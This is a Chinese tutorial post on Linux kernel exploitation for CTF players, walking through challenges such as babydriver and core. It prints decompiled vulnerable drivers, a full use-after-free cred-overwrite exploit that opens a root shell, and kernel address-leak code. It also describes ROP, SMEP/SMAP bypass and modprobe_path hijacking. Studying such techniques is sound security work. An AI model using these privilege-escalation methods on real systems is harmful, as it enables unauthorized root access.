-
-
[原创]Kernel PWN从入门到提升
-
发表于: 2023-3-8 22:35 33537
-
介于本人在入门kernel pwn的时候觉得当前trick种类繁多,前置知识也多得吓人,有点不知所措,且有些大佬的博客经常对一些我个人认为比较重要的点一句话带过,导致缺乏经验的我在学习过程中屡屡碰壁。所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。
在开始看这篇文章之前,我希望小伙伴们已经掌握了kernel pwn一些最基本的操作,例如装好kernel pwn所需要的的前置环境。这一部分内容的优秀教程并不少。
另外,如果在阅读的过程中发现任何问题,都欢迎来和我交流指正。
在学习kernel pwn之前,需要搭建好很多前置环境
至于具体的安装过程并不在本文的讨论范围内,如果还没完成,先自行百度解决
kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令
(有时解包出来很奇怪,可能是原始cpio文件其实是以gz格式压缩后的,先gunzip解压一遍)
kernel使用cred结构体记录了进程的权限,如果能劫持或伪造cred结构体,就能改变当前进程的权限。
原型如下:
一般而言,我们需要想办法将uid和gid设置为0(root的uid和gid均为0)
如果能劫持到程序流程,执行以下函数也可以达到相同效果:
运行在内核态的函数会和用户态有些许不同
printf -> kprintf
memcpy -> copy_to_user / copy_from_user
内核的动态分配并不会采用用户态的glibc,他的堆分配器是SLAB或SLUB。常使用的函数如下:
malloc -> kmalloc
free -> kfree
为了安全考虑,内核态也只能运行内核态的函数(smep),想要运行system等函数,必须手动切换回用户态。
常用的指令是swapgs和iretq(或者swapgs_restore_regs_and_return_to_usermode函数,直接对CR3寄存器的第13位取反来完成切换页表的操作,该函数在KPTI开启的版本中依然有效,而swapgs往往会寄)
然后需要在栈上存一些上下文:
以babydriver这题为例,先使用脚本extract-vmlinux提取出带符号的源码
在qemu中找到babydriver.ko代码段的起始地址

启动gdb过后导入符号表

然后在boot.sh中添加以下参数

(直接-s也行)
重新启动qemu过后,gdb远程连接

这里给出我常用的一些打包和调试的脚本
pack.sh
gdbinit
为了减小远程exp的体积,使用musl进行静态编译()
这是ciscn2017年的一道经典kernel pwn入门题。
解压rootfs.cpio后,在/lib/modules/4.4.72中找到了LKM文件babydriver.ko
checksec只开了nx,且没有去除符号表,很方便调试和分析
直接丢ida分析
在babyrelease中kfree()之后没有将babydev_struct.device_buf清空,从而导致了uaf漏洞
而且babydev_struct是一个babydevice_t类型的公共变量,结构如下。
device_buf是存一个缓冲区的指针,device_buf_len存该缓冲区大小。
其他的函数都很常规,
babyopen在打开一个设备的时候简单设置了一下babydev_struct的值
babywrite和babyread都只检查了一下device_buf指针是否为空和是否越界, 然后对device_buf进行常规的读写
babyioctl比较有意思,当第二个参数command为0x10001时,可以重新kmalloc一块指定大小的object到babydev_struct.device_buf,从而修改了babydev_struct的device_buf_len为一个新值。
至此,利用思路已经非常明显了。
由于babydev_struct只存在一个,且调用到babyrelease的时候有uaf漏洞,我们可以open两个设备,然后使用babyioctl将babydev_struct.device_buf_len改成cred结构体的大小之后free掉,造成第二个设备存在一个悬挂指针。
此时再fork()一个新线程,由于kernel的内存分配器采用的是SLUB,之前释放掉的那个和cred结构体相同大小的堆块会直接当成这个线程的cred被申请(kmem_cache_cpu->freelist是后进先出的,类似于用户态glibc的fastbin,不过object并没有header。另,本题内核版本在4.4.72,cred结构体的分配此时还并没有被隔离到cred_jar中)
在这个进程中使用babywrite,便可将cred的gid和uid都设置为0
写好exp过后,由于rootfs.cpio里并没有libc,所以编译的时候要使用静态编译
然后重新打包文件系统,并修改boot.sh中-initrd参数为新打包好的文件系统。
此时再打开qemu,运行exp过后便可提权成功。
(由于本做法在高版本不可能适用,且实际意义不大,所以下文将采用一些更"有意思"的做法来提权)

本质上和用户态的rop并无区别,只是目标从getshell变成了提权,并且rop结束部分需要引导程序流着陆回用户态
题目给出了bzImage, core.cpio, start.sh, vmlinux四个文件。
先将core.cpio解包
发现除了常规文件以外,还多了一个gen_cpio.sh
内容如下:
这是一个快速打包用的批处理文件。
看看start.sh
开启了kaslr保护,并且用-s为gdb开了端口,所以不需要再-gdb tcp::1234开了。
不过他设置的64M内存不是很够用,我最终设置到了256M才能启动。
然后分析init
比较特殊的地方就是将/proc/sys/kernel/kptr_restrict和/proc/sys/kernel/dmesg_restrict的内容设为了1,如此一来,就无法通过dmesg和查看/proc/kallsyms来获取函数地址了。
好在他前面有一行
将kallsyms备份到了tmp文件夹下。
然后之后设置了poweroff -d 120 -f,这句比较影响之后的调试,可以直接删掉,或者把时间改长一点。
我最终修改过后的init文件如下
将core的.text节地址备份出来是为了方便后续gdb加载symbol文件。
而且这个/sys/module/core/sections/.text是只有root能读的,直接备份出来比较省事,当然也可以直接修改成root启动。
此外,为了方便后续打包和调试,我还写了两个批处理文件
接下来就是分析core.ko的漏洞了
checksec发现开启了canary和nx。
init_module()和exit_core()分别注册和注销了/proc/core,core_release()什么都没做,这里对它们不作分析。
core_ioctl中定义了三种操作,分别是调用core_read(),设置全局变量off,调用core_copy_func()。
core_read可以将距离rsp偏移为off的值往后拷贝0x40个字节给指定缓冲区。
这里利用off是可以读出canary的。
core_write是将至多0x800个字节从指定缓冲区复制到name中去。
这个core_copy_func则是本题最大的漏洞点。
当长度参数a1小于等于63时,便可将name中对应字节数的数据复制到栈上变量v2中去,且a1和63作比较时是有符号数,最后调用qmemcpy时转成了unsigned __int16。所以只需要将a1最低两个字节的数据随便设置成一个能装下name的长度,然后其余字节都是0xff就行了。我这里最后构造的a1是0xffffffffffff0100。
所以整个攻击流程如下:
当然,在写rop之前,还有一个小小的问题需要解决。那就是解决kaslr和pie带来的偏移问题。
原始无pie的vmlinux基址是0xffffffff81000000
commit_creds的地址是0xffffffff81000000+0x9c8e0
prepare_kernel_creds的地址是0xffffffff8109cce0
包括后续找到的gadgets的地址,这些全是no-pie情况下的地址,我们还需要知道真正运行起来的时候与之的偏移。
这个其实就可以直接在/tmp/kallsyms中,利用他给出的commit_creds或prepare_kernel_cred此时的地址来计算出来。
gadgets的预处理可以用ropper解决(ROPgadget太慢了)
至于rop的构思的话就非常简单了,先摆好rdi为0,然后调用prepare_kernel_cred,此时返回值会在rax中,如果有mov rdi, rax; ret的话将绝杀,可惜没有。
不过好在有类似的好几个,我选择了mov rdi, rax; jmp rcx;
如果在这之前将rcx摆好commit_creds就很方便了。
然后切换回用户态,iretq; ret是有的,swapgs就只有swapgs; popfq; ret;,所以后面要跟一个垃圾数据平衡一下栈。
最后按照rip, cs, rflags, rsp, ss的顺序摆好之前用户态的寄存器就好了。
之前使用kernel rop的方法打下来了core这道题。但其实,默认情况下,虽然内核态的函数在用户空间下是无法运行的,但用户态的函数在内核空间却可以运行,因此我们可以在用户空间构造好commit_creds(prepare_kernel_cred(0)),然后在内核空间以ring 0权限来运行它。
利用这一点,可以对core的exp作出局部调整:
仍然可以成功提权。

(不过此方法在不久之后出现KPTI页表隔离保护之后就完全没法利用了,)
smep保护使得内核态也不能执行内核空间的代码了,因此直接ret2usr会失败。
(与之相近的保护机制是smap,他能让内核空间无法直接访问用户空间的数据)
不过是否开启smep保护是记录在cr4寄存器上的。
cr4寄存器的第20位为1时SMEP就视为开启,为0则视为关闭。

既然知道了判断是否开启smep的机制,那么bypass思路也很清晰了。只需要利用某些gadgets来修改cr4寄存器的值即可。(通常改成0x6f0,同时关闭smep和smap。不过控制cr4的gadgets在高版本无了)
这里用ret2usr的方法再解决一遍babydriver这道题。
查看boot.sh,发现开启了smep。
所以我们需要用rop来关闭smep,然后再ret2usr提权。
可是这道题的洞是uaf,如何达成rop的目的呢?这里就需要用到tty_struct和tty_operation这两个结构体了。
他们的原型分别如下:
在tty_struct中有const struct tty_operations *ops;
因此如果可以伪造出一个tty_struct,使它的*ops指向一个伪造出来的tty_operation,即可利用write和ioctl这些函数来劫持程序执行流程。
由于不熟悉结构体,我这里是先把tty_operation的内容布置成了比较有规律的样子,然后利用报错计算偏移

一闪而过的报错中,可以看出来babywrite是被劫持到了tty_operation[7]这个位置,所以直接从这里开始劫持控制流。(后面发现,只要在启动脚本中加一句-no-reboot就不用担心看不见报错了,泪目)
想要完成内核rop,此时肯定需要控制一下rsp的位置,有一个比较好用的gadget:
经过调试,发现此时rax的值刚好是这个tty_operation结构体的首地址
所以此时有两个思路:
不管用哪个,最终都能成功劫持程序流完成ret2usr。(由于一些原因,我还是选择了第二种方式)
不过有一个问题,使用这题原生的内核版本4.4.72会出现PANIC: double fault, error_code: 0x0这样的报错,<del>所以需要换内核版本运行,这里就不过多讨论了。</del>
查了一些资料过后,发现很可能是PTI保护机制的问题,在尝试关闭PTI无果之后,发现其实可以通过对特定signal的处理来继续完成利用,比如说PTI机制这里会抛出的11号信号,给他处理成get_root_shell这个函数就行了,因为在这之前已经完成了bypass smep和prepare_kernel_cred(commit_creds(0))的操作。
(本来想用swapgs_restore_regs_and_return_to_usermode的,不过这个题内核版本太老了,貌似还并没有引进这个函数)

大多数情况下,smep和smap都是同时出现的,那么之前那个攻击方式就有欠缺了些许味道(毕竟伪造的tty_operation还是位于用户态,所以并不能抗住smap这个机制)
所以我又脑子一热,将启动脚本修改如下(加入了smap)
思路其实和之前差不多,利用某些方式劫持到程序流之后栈迁到rop就行,只不过rop需要想办法构造在DMA区域中了。
为了学习尽可能多的trick,我使用了一种比较曲折的方式来达成利用((((
过程可以大致分为以下几步:

他和poweroff_cmd, uevent_helper, ocfs2_hb_ctl_path, nfs_cache_getent_prog, cltrack_prog这些变量类似,都是call_usermodehelper类型的trick。
只需要劫持一个字符串,就能用root权限执行任意命令(但是这个命令往往是不可以交互的)
以modprobe_path为例在劫持了对应字符串为/tmp/a.sh之后,只需要运行一个非正确的ELF文件即可触发
checksec只开了NX
关键函数如下,
非常直观的dma中越界读写漏洞(值得一提的是,越界的地址范围多达8字节,这已经可以任意位置读写了)
不难想到,只需要leak出kernel的text段地址即可直接越界修改modprobe_path达成利用。
在leak的时候我使用的方法是
这个属于条件竞争类的利用,在某些时候kernel第一次拿到一个值,判断合法之后,距离使用还存在一定的窗口期,在这个期间利用条件竞争漏洞修改掉那个值,即可达成恶意目的。
baby_ioctl的本意就是让你传一个地址和长度,如果和内核中flag的内容一致的话,就可以直接打印出flag了,而且在传参数0x6666的时候会直接白给内核态中真flag的地址。
不过在函数_chk_range_not_ok里限制了我们传入的flag必须在用户态的空间之内。
一看启动脚本
双核,可能存在条件竞争类漏洞。
联想到double fetch的思路,可以尝试在传入flag地址,通过_chk_range_not_ok的检查之后用子线程修改掉传入的flag地址为真正的flag地址,从而让他直接打印出flag。
(也有一种魔鬼思路是利用mmap开出一块地址,然后将猜测的flag放在mmap这块空间的末位,然后利用是否造成kernel pannic来逐步爆破flag,最多只需要爆破2k+次就能成功)
find . | cpio -o --format=newc > ./rootfs.cpio
cpio -idmv < ./rootfs.cpio
find . | cpio -o --format=newc > ./rootfs.cpio
cpio -idmv < ./rootfs.cpio
struct cred { atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif#ifdef CONFIG_SECURITY void *security; /* subjective LSM security */
#endif struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;struct cred { atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif#ifdef CONFIG_SECURITY void *security; /* subjective LSM security */
#endif struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;commit_creds(prepare_kernel_cred(0));
commit_creds(init_cred);commit_creds(prepare_kernel_cred(0));
commit_creds(init_cred);struct pt_regs {/* ...................... */
/* Return frame for iretq */
unsigned long ip;
unsigned long cs;
unsigned long flags;
unsigned long sp;
unsigned long ss;
/* top of stack page */
};struct pt_regs {/* ...................... */
/* Return frame for iretq */
unsigned long ip;
unsigned long cs;
unsigned long flags;
unsigned long sp;
unsigned long ss;
/* top of stack page */
};./extract-vmlinux ./bzImage > ./vmlinux
./extract-vmlinux ./bzImage > ./vmlinux
add-symbol-file ./lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
add-symbol-file ./lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
pwndbg> target remote 127.0.0.1:1234
pwndbg> target remote 127.0.0.1:1234
#!/bin/zshgcc \ ./exp.c \
-o exp \
-masm=intel \
--static \
-g
chmod 777 ./exp
find . | cpio -o --format=newc > ./rootfs.cpio
chmod 777 ./rootfs.cpio
#!/bin/zshgcc \ ./exp.c \
-o exp \
-masm=intel \
--static \
-g
chmod 777 ./exp
find . | cpio -o --format=newc > ./rootfs.cpio
chmod 777 ./rootfs.cpio
file ./vmlinux
target remote 127.0.0.1:1234
cfile ./vmlinux
target remote 127.0.0.1:1234
cimport sys
import os
from pwn import *
import string
context.log_level='debug'
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
p = remote('127.0.0.1', 1234)
def send_cmd(cmd):
sla('$ ', cmd)
def upload():
lg = log.progress('Upload')
with open('exp', 'rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
for i in range(0, len(encoded), 300):
lg.status('%d / %d' % (i, len(encoded)))
send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
send_cmd('cat benc | base64 -d > bout')
send_cmd('chmod +x bout')
lg.success()
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()p.interactive()import sys
import os
from pwn import *
import string
context.log_level='debug'
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)
p = remote('127.0.0.1', 1234)
def send_cmd(cmd):
sla('$ ', cmd)
def upload():
lg = log.progress('Upload')
with open('exp', 'rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
for i in range(0, len(encoded), 300):
lg.status('%d / %d' % (i, len(encoded)))
send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
send_cmd('cat benc | base64 -d > bout')
send_cmd('chmod +x bout')
lg.success()
os.system('musl-gcc -w -s -static -o3 exp.c -o exp')
upload()p.interactive()int __fastcall babyrelease(inode *inode, file *filp)
{ _fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}int __fastcall babyrelease(inode *inode, file *filp)
{ _fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}struct babydevice_t{ char *device_buf;
size_t device_buf_len;
};struct babydevice_t{ char *device_buf;
size_t device_buf_len;
};int __fastcall babyopen(inode *inode, file *filp)
{ _fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}int __fastcall babyopen(inode *inode, file *filp)
{ _fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{ size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{ size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{ size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{ size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{ size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{ size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}gcc exp.c -o exp -static
gcc exp.c -o exp -static
#include<unistd.h>#include<stdio.h>#include<stdlib.h>#include<fcntl.h>#include<sys/wait.h>#include<sys/stat.h>int main(){
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int id = fork();
if(id<0){
printf("fork error!\n");
exit(-1);
}
else if(id==0){
char cred[0x20] = {0};
write(fd2, cred, 0x1c);
if(getuid()==0){
system("/bin/sh");
exit(0);
}
}
else{
wait(NULL);
}
return 0;
}#include<unistd.h>#include<stdio.h>#include<stdlib.h>#include<fcntl.h>#include<sys/wait.h>#include<sys/stat.h>int main(){
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int id = fork();
if(id<0){
printf("fork error!\n");
exit(-1);
}
else if(id==0){
char cred[0x20] = {0};
write(fd2, cred, 0x1c);
if(getuid()==0){
system("/bin/sh");
exit(0);
}
}
else{
wait(NULL);
}
return 0;
}find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
#!/bin/shmount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 upudhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
#!/bin/shmount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 upudhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
cat /proc/kallsyms > /tmp/kallsyms
cat /proc/kallsyms > /tmp/kallsyms
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 upudhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
chown root:root /flag
chmod 400 /flag
cat /sys/module/core/sections/.text > /tmp/info
poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/shecho 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 upudhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
chown root:root /flag
chmod 400 /flag
cat /sys/module/core/sections/.text > /tmp/info
poweroff -d 1200000 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/shecho 'sh end!\n'
umount /proc
umount /sys
poweroff -d 0 -f
root@ubuntu:/home/kotori/Desktop/core# cat pack.sh
rm ./core.cpio
./gen_cpio.sh ./core.cpio
chmod 777 ./core.cpio
root@ubuntu:/home/kotori/Desktop/core# cat mkc.sh
gcc ./exp.c -o exp --static -masm=intel
chmod 777 ./exp
sudo ./pack.sh
root@ubuntu:/home/kotori/Desktop/core# cat pack.sh
rm ./core.cpio
./gen_cpio.sh ./core.cpio
chmod 777 ./core.cpio
root@ubuntu:/home/kotori/Desktop/core# cat mkc.sh
gcc ./exp.c -o exp --static -masm=intel
chmod 777 ./exp
sudo ./pack.sh
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{ switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{ switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}unsigned __int64 __fastcall core_read(__int64 a1){ char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}unsigned __int64 __fastcall core_read(__int64 a1){ char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3){ printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3){ printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}__int64 __fastcall core_copy_func(__int64 a1){ __int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}__int64 __fastcall core_copy_func(__int64 a1){ __int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}size_t leak_vmlinux_base(){ FILE* fd = fopen("/tmp/kallsyms", "r");
if(fd==NULL){
puts("[-] open file failed.");
exit(-1);
}
char buf[0x40] = {0};
while(fgets(buf, 0x30, fd)!=NULL){
if(strstr(buf, "commit_creds")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &commit_creds);
printf("[+] commit_creds: 0x%lx\n", commit_creds);
prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
fclose(fd);
return commit_creds-0x9c8e0;
}
else if(strstr(buf, "prepare_kernel_cred")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &prepare_kernel_cred);
printf("[+] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
commit_creds = prepare_kernel_cred-0x9cce0+0x9c8e0;
fclose(fd);
return prepare_kernel_cred-0x9cce0;
}
}
fclose(fd);
return 0;
}size_t leak_vmlinux_base(){ FILE* fd = fopen("/tmp/kallsyms", "r");
if(fd==NULL){
puts("[-] open file failed.");
exit(-1);
}
char buf[0x40] = {0};
while(fgets(buf, 0x30, fd)!=NULL){
if(strstr(buf, "commit_creds")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &commit_creds);
printf("[+] commit_creds: 0x%lx\n", commit_creds);
prepare_kernel_cred = commit_creds-0x9c8e0+0x9cce0;
fclose(fd);
return commit_creds-0x9c8e0;
}
else if(strstr(buf, "prepare_kernel_cred")){
char ptr[0x18] = {0};
strncpy(ptr, buf, 0x10);
sscanf(ptr, "%lx", &prepare_kernel_cred);
